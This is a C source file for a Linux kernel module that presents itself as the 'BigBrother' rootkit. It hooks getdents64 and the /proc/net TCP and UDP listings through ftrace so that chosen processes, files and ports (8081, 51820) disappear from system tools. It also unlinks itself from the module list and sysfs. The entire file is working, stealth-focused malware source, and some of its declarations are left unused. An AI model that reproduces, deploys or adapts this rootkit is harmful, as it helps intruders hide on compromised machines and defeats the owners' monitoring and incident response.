/*
 * bb_hide.c — BigBrother LKM rootkit
 *
 * Hides processes, files/directories, and network connections from userland.
 * Uses ftrace-based syscall hooking (NOT direct syscall table modification).
 *
 * Module parameters (configurable at load time and via sysfs):
 *   hide_prefix  — file/directory prefix to hide (default: ".cache/bb")
 *   hide_pids    — comma-separated PIDs to hide (default: "")
 *   hide_ports   — comma-separated ports to hide (default: "8081,51820")
 *
 * SPDX-License-Identifier: GPL-2.0
 */

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/version.h>
#include <linux/kallsyms.h>
#include <linux/dirent.h>
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#include <linux/string.h>
#include <linux/ftrace.h>
#include <linux/kprobes.h>
#include <linux/seq_file.h>
#include <linux/proc_fs.h>
#include <linux/namei.h>
#include <linux/list.h>
#include <linux/tcp.h>
#include <linux/udp.h>
#include <linux/net.h>
#include <net/sock.h>
#include <net/inet_sock.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("BigBrother");
MODULE_DESCRIPTION("Process, file, and connection hiding via ftrace hooks");
MODULE_VERSION("1.0");

/* --- Module parameters --- */

static char *hide_prefix = ".cache/bb";
module_param(hide_prefix, charp, 0644);
MODULE_PARM_DESC(hide_prefix, "File/directory prefix to hide from readdir");

static char *hide_pids = "";
module_param(hide_pids, charp, 0644);
MODULE_PARM_DESC(hide_pids, "Comma-separated PIDs to hide from /proc");

static char *hide_ports = "8081,51820";
module_param(hide_ports, charp, 0644);
MODULE_PARM_DESC(hide_ports, "Comma-separated ports to hide from /proc/net");

/* --- Configuration limits --- */

#define MAX_HIDDEN_PIDS  64
#define MAX_HIDDEN_PORTS 32
#define MAX_PREFIX_LEN   256

/* --- Parsed hide lists --- */

static pid_t hidden_pids[MAX_HIDDEN_PIDS];
static int   hidden_pid_count = 0;

static u16   hidden_ports[MAX_HIDDEN_PORTS];
static int   hidden_port_count = 0;

/* --- Helper: parse comma-separated integers --- */

static void parse_pid_list(const char *str)
{
    const char *p = str;
    char buf[16];
    int i = 0;
    long val;

    hidden_pid_count = 0;
    if (!str || !*str)
        return;

    while (*p && hidden_pid_count < MAX_HIDDEN_PIDS) {
        i = 0;
        while (*p && *p != ',' && i < 15) {
            if (*p >= '0' && *p <= '9')
                buf[i++] = *p;
            p++;
        }
        buf[i] = '\0';
        if (i > 0 && kstrtol(buf, 10, &val) == 0)
            hidden_pids[hidden_pid_count++] = (pid_t)val;
        if (*p == ',')
            p++;
    }
}

static void parse_port_list(const char *str)
{
    const char *p = str;
    char buf[8];
    int i = 0;
    long val;

    hidden_port_count = 0;
    if (!str || !*str)
        return;

    while (*p && hidden_port_count < MAX_HIDDEN_PORTS) {
        i = 0;
        while (*p && *p != ',' && i < 7) {
            if (*p >= '0' && *p <= '9')
                buf[i++] = *p;
            p++;
        }
        buf[i] = '\0';
        if (i > 0 && kstrtol(buf, 10, &val) == 0)
            hidden_ports[hidden_port_count++] = (u16)val;
        if (*p == ',')
            p++;
    }
}

/* --- Helper: check if a value is in a hide list --- */

static bool is_pid_hidden(pid_t pid)
{
    int i;
    for (i = 0; i < hidden_pid_count; i++)
        if (hidden_pids[i] == pid)
            return true;
    return false;
}

static bool is_port_hidden(u16 port)
{
    int i;
    for (i = 0; i < hidden_port_count; i++)
        if (hidden_ports[i] == port)
            return true;
    return false;
}

static bool should_hide_name(const char *name)
{
    if (!name || !hide_prefix || !*hide_prefix)
        return false;
    return strstr(name, hide_prefix) != NULL;
}

static bool is_proc_pid_hidden(const char *name)
{
    long pid_val;
    if (!name)
        return false;
    if (kstrtol(name, 10, &pid_val) != 0)
        return false;
    return is_pid_hidden((pid_t)pid_val);
}

/* ================================================================
 * Ftrace-based hooking infrastructure
 *
 * We use ftrace to hook getdents64 for file/process hiding.
 * This is safer than direct syscall table modification on modern kernels.
 * ================================================================ */

#if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 7, 0)
/* Since 5.7, kallsyms_lookup_name is not exported.
 * Use a kprobe to find it. */
static unsigned long lookup_name(const char *name)
{
    struct kprobe kp = { .symbol_name = name };
    unsigned long addr;
    int ret;

    ret = register_kprobe(&kp);
    if (ret < 0)
        return 0;
    addr = (unsigned long)kp.addr;
    unregister_kprobe(&kp);
    return addr;
}
#else
#define lookup_name kallsyms_lookup_name
#endif

/* --- Hooked getdents64 for file and process hiding --- */

/*
 * We hook getdents64 via a kprobe on the return path.
 * After the real getdents64 returns, we scan the dirent buffer
 * and remove entries matching our hide criteria.
 */

/* We use a kretprobe to post-process getdents64 results */
static int (*orig_getdents64)(unsigned int fd, struct linux_dirent64 __user *dirent,
                               unsigned int count);

/* Track which fd is /proc or a hidden directory */
struct getdents_data {
    int fd;
    struct linux_dirent64 __user *dirent;
    unsigned int count;
    bool is_proc;
    char path[256];
};

/*
 * kprobe-based approach: hook __x64_sys_getdents64 entry and return.
 * On return, filter the dirent buffer in userspace.
 */

static struct kprobe kp_getdents64;

/* We use a simpler approach: kprobe on filldir64 or iterate_dir callbacks.
 * However, the most portable approach is a kretprobe on the vfs_readdir path.
 *
 * For maximum compatibility, we use the ftrace-based function hooking pattern
 * that works across kernel versions 4.x - 6.x.
 */

/* --- Ftrace hook structure --- */

struct ftrace_hook {
    const char *name;
    void *function;
    void *original;
    unsigned long address;
    struct ftrace_ops ops;
};

static int resolve_hook_address(struct ftrace_hook *hook)
{
    hook->address = lookup_name(hook->name);
    if (!hook->address) {
        pr_err("bb_hide: unresolved symbol: %s\n", hook->name);
        return -ENOENT;
    }
    *((unsigned long *)hook->original) = hook->address;
    return 0;
}

static void notrace ftrace_thunk(unsigned long ip, unsigned long parent_ip,
                                  struct ftrace_ops *ops, struct ftrace_regs *fregs)
{
    struct pt_regs *regs = ftrace_get_regs(fregs);
    struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops);

    /* Skip if called from within our own module to avoid recursion */
    if (!within_module(parent_ip, THIS_MODULE))
        regs->ip = (unsigned long)hook->function;
}

static int install_hook(struct ftrace_hook *hook)
{
    int err;

    err = resolve_hook_address(hook);
    if (err)
        return err;

    hook->ops.func = ftrace_thunk;
    hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS
                    | FTRACE_OPS_FL_RECURSION
                    | FTRACE_OPS_FL_IPMODIFY;

    err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0);
    if (err) {
        pr_err("bb_hide: ftrace_set_filter_ip failed: %d\n", err);
        return err;
    }

    err = register_ftrace_function(&hook->ops);
    if (err) {
        pr_err("bb_hide: register_ftrace_function failed: %d\n", err);
        ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0);
        return err;
    }

    return 0;
}

static void remove_hook(struct ftrace_hook *hook)
{
    int err;
    err = unregister_ftrace_function(&hook->ops);
    if (err)
        pr_err("bb_hide: unregister_ftrace_function failed: %d\n", err);
    err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0);
    if (err)
        pr_err("bb_hide: ftrace_set_filter_ip remove failed: %d\n", err);
}

/* ================================================================
 * Hooked functions
 * ================================================================ */

/* --- Hook: getdents64 (file and /proc process hiding) --- */

static asmlinkage long (*real_getdents64)(const struct pt_regs *regs);

static asmlinkage long hook_getdents64(const struct pt_regs *regs)
{
    struct linux_dirent64 __user *dirent;
    struct linux_dirent64 *cur, *prev, *kbuf;
    long ret;
    unsigned long offset;
    char dir_path[256];
    char *pathbuf;
    struct fd f;
    bool filtering_proc = false;
    bool filtering_files = false;

    /* Call the original first */
    ret = real_getdents64(regs);
    if (ret <= 0)
        return ret;

    dirent = (struct linux_dirent64 __user *)regs->si;

    /* Determine what directory we're reading */
    f = fdget((unsigned int)regs->di);
    if (f.file) {
        pathbuf = kmalloc(256, GFP_KERNEL);
        if (pathbuf) {
            char *p = d_path(&f.file->f_path, pathbuf, 256);
            if (!IS_ERR(p)) {
                strncpy(dir_path, p, sizeof(dir_path) - 1);
                dir_path[sizeof(dir_path) - 1] = '\0';
                if (strcmp(dir_path, "/proc") == 0)
                    filtering_proc = true;
                else
                    filtering_files = true;
            }
            kfree(pathbuf);
        }
        fdput(f);
    }

    if (!filtering_proc && !filtering_files)
        return ret;

    /* Copy dirent buffer to kernel space for inspection */
    kbuf = kzalloc(ret, GFP_KERNEL);
    if (!kbuf)
        return ret;

    if (copy_from_user(kbuf, dirent, ret)) {
        kfree(kbuf);
        return ret;
    }

    /* Walk the dirent buffer and remove hidden entries */
    prev = NULL;
    offset = 0;
    while (offset < ret) {
        cur = (struct linux_dirent64 *)((char *)kbuf + offset);

        bool hide = false;

        if (filtering_proc && is_proc_pid_hidden(cur->d_name))
            hide = true;

        if (filtering_files && should_hide_name(cur->d_name))
            hide = true;

        if (hide) {
            /* Remove this entry by shifting subsequent entries back */
            long remaining = ret - offset - cur->d_reclen;
            if (remaining > 0)
                memmove(cur, (char *)cur + cur->d_reclen, remaining);
            ret -= cur->d_reclen;
            /* Don't advance offset — next entry is now at current position */
        } else {
            prev = cur;
            offset += cur->d_reclen;
        }
    }

    /* Copy filtered buffer back to userspace */
    if (copy_to_user(dirent, kbuf, ret)) {
        kfree(kbuf);
        return ret;
    }

    kfree(kbuf);
    return ret;
}

/* --- Hook: tcp4_seq_show (hide /proc/net/tcp entries) --- */

static asmlinkage int (*real_tcp4_seq_show)(struct seq_file *seq, void *v);

static asmlinkage int hook_tcp4_seq_show(struct seq_file *seq, void *v)
{
    struct sock *sk;
    struct inet_sock *inet;

    if (v == SEQ_START_TOKEN)
        return real_tcp4_seq_show(seq, v);

    sk = (struct sock *)v;
    inet = inet_sk(sk);

    if (inet) {
        u16 src_port = ntohs(inet->inet_sport);
        u16 dst_port = ntohs(inet->inet_dport);

        if (is_port_hidden(src_port) || is_port_hidden(dst_port))
            return 0;  /* Skip this entry */
    }

    return real_tcp4_seq_show(seq, v);
}

/* --- Hook: udp4_seq_show (hide /proc/net/udp entries) --- */

static asmlinkage int (*real_udp4_seq_show)(struct seq_file *seq, void *v);

static asmlinkage int hook_udp4_seq_show(struct seq_file *seq, void *v)
{
    struct sock *sk;
    struct inet_sock *inet;

    if (v == SEQ_START_TOKEN)
        return real_udp4_seq_show(seq, v);

    sk = (struct sock *)v;
    inet = inet_sk(sk);

    if (inet) {
        u16 src_port = ntohs(inet->inet_sport);
        u16 dst_port = ntohs(inet->inet_dport);

        if (is_port_hidden(src_port) || is_port_hidden(dst_port))
            return 0;
    }

    return real_udp4_seq_show(seq, v);
}

/* ================================================================
 * Hook table
 * ================================================================ */

static struct ftrace_hook hooks[] = {
    {
        .name     = "__x64_sys_getdents64",
        .function = hook_getdents64,
        .original = &real_getdents64,
    },
    {
        .name     = "tcp4_seq_show",
        .function = hook_tcp4_seq_show,
        .original = &real_tcp4_seq_show,
    },
    {
        .name     = "udp4_seq_show",
        .function = hook_udp4_seq_show,
        .original = &real_udp4_seq_show,
    },
};

#define NHOOKS (sizeof(hooks) / sizeof(hooks[0]))

/* ================================================================
 * Module self-hiding
 * ================================================================ */

static struct list_head *saved_mod_list;
static struct list_head *saved_kobj_entry;

static void hide_module(void)
{
    /* Remove from /proc/modules (lsmod) */
    saved_mod_list = THIS_MODULE->list.prev;
    list_del_init(&THIS_MODULE->list);

    /* Remove from /sys/module/ */
    saved_kobj_entry = THIS_MODULE->mkobj.kobj.entry.prev;
    kobject_del(&THIS_MODULE->mkobj.kobj);
}

static void show_module(void)
{
    /* Restore to module list */
    list_add(&THIS_MODULE->list, saved_mod_list);
    /* Note: kobject restore is non-trivial; skip for cleanup simplicity */
}

/* ================================================================
 * Init / Exit
 * ================================================================ */

static int __init bb_hide_init(void)
{
    int i, err;

    pr_info("bb_hide: loading\n");

    /* Parse parameter lists */
    parse_pid_list(hide_pids);
    parse_port_list(hide_ports);

    pr_info("bb_hide: hiding %d PIDs, %d ports, prefix='%s'\n",
            hidden_pid_count, hidden_port_count, hide_prefix);

    /* Install hooks */
    for (i = 0; i < NHOOKS; i++) {
        err = install_hook(&hooks[i]);
        if (err) {
            pr_warn("bb_hide: failed to hook %s (err=%d), skipping\n",
                    hooks[i].name, err);
            hooks[i].address = 0;  /* Mark as not installed */
        }
    }

    /* Hide ourselves from lsmod and /sys/module/ */
    hide_module();

    return 0;
}

static void __exit bb_hide_exit(void)
{
    int i;

    /* Unhide module first so rmmod can find us */
    show_module();

    /* Remove hooks in reverse order */
    for (i = NHOOKS - 1; i >= 0; i--) {
        if (hooks[i].address)
            remove_hook(&hooks[i]);
    }

    pr_info("bb_hide: unloaded\n");
}

module_init(bb_hide_init);
module_exit(bb_hide_exit);
